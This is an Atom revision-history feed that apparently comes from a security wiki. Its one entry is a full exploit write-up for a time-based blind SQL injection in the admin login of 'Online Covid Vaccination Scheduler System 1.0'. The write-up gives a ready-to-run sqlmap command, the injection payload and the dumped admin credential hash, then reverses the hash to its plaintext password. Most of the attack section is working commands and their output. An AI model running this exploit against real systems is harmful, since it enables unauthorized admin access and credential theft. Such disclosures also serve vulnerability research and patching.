<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Online_Covid_Vaccination_Scheduler_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>Online Covid Vaccination Scheduler System 1.0 SQL注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Online_Covid_Vaccination_Scheduler_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Online_Covid_Vaccination_Scheduler_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-09T01:38:07Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Online_Covid_Vaccination_Scheduler_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=6463&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;&lt;pre&gt; # Exploit Title: Online Covid Vaccination Scheduler System 1.0 - 'username' time-based blind SQL Injection # Date: 2021-07-07 # Exploit Author: faisalfs10x (https://gith...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Online_Covid_Vaccination_Scheduler_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=6463&amp;oldid=prev"/>
		<updated>2021-07-08T06:02:22Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;&amp;lt;pre&amp;gt; # Exploit Title: Online Covid Vaccination Scheduler System 1.0 - &amp;#039;username&amp;#039; time-based blind SQL Injection # Date: 2021-07-07 # Exploit Author: faisalfs10x (https://gith...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Online Covid Vaccination Scheduler System 1.0 - 'username' time-based blind SQL Injection&lt;br /&gt;
# Date: 2021-07-07&lt;br /&gt;
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)&lt;br /&gt;
# Vendor Homepage: https://www.sourcecodester.com/&lt;br /&gt;
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scheduler.zip&lt;br /&gt;
# Version: 1.0&lt;br /&gt;
# Tested on: Windows 10, XAMPP&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
################&lt;br /&gt;
# Description  #&lt;br /&gt;
################&lt;br /&gt;
&lt;br /&gt;
The admin panel login can be assessed at http://{ip}/scheduler/admin/login.php. The username parameter is vulnerable to time-based SQL injection.&lt;br /&gt;
Upon successful dumping the admin password hash, we can decrypt and obtain the plain-text password. Hence, we could authenticate as Administrator.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
###########&lt;br /&gt;
# PoC     #&lt;br /&gt;
###########&lt;br /&gt;
&lt;br /&gt;
Run sqlmap to dump username and password:&lt;br /&gt;
&lt;br /&gt;
$ sqlmap -u &amp;quot;http://localhost/scheduler/classes/Login.php?f=login&amp;quot; --data=&amp;quot;username=admin&amp;amp;password=blabla&amp;quot; --cookie=&amp;quot;PHPSESSID=n3to3djqetf42c2e7l257kspi5&amp;quot; --batch --answers=&amp;quot;crack=N,dict=N,continue=Y,quit=N&amp;quot; -D scheduler -T users -C username,password --dump&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
###########&lt;br /&gt;
# Output  #&lt;br /&gt;
###########&lt;br /&gt;
&lt;br /&gt;
Parameter: username (POST)&lt;br /&gt;
    Type: time-based blind&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)&lt;br /&gt;
    Payload: username=admin' AND (SELECT 7551 FROM (SELECT(SLEEP(5)))QOUn) AND 'MOUZ'='MOUZ&amp;amp;password=blabla&lt;br /&gt;
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])&lt;br /&gt;
&lt;br /&gt;
web server operating system: Windows&lt;br /&gt;
web application technology: PHP 5.6.24, Apache 2.4.23&lt;br /&gt;
back-end DBMS: MySQL &amp;gt;= 5.0.12 (MariaDB fork)&lt;br /&gt;
current database: 'scheduler'&lt;br /&gt;
&lt;br /&gt;
Database: scheduler&lt;br /&gt;
Table: users&lt;br /&gt;
[1 entry]&lt;br /&gt;
+----------+----------------------------------+&lt;br /&gt;
| username | password                         |&lt;br /&gt;
+----------+----------------------------------+&lt;br /&gt;
| admin    | 0192023a7bbd73250516f069df18b500 |&lt;br /&gt;
+----------+----------------------------------+&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The password is based on PHP md5() function. So, MD5 reverse for 0192023a7bbd73250516f069df18b500 is admin123&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>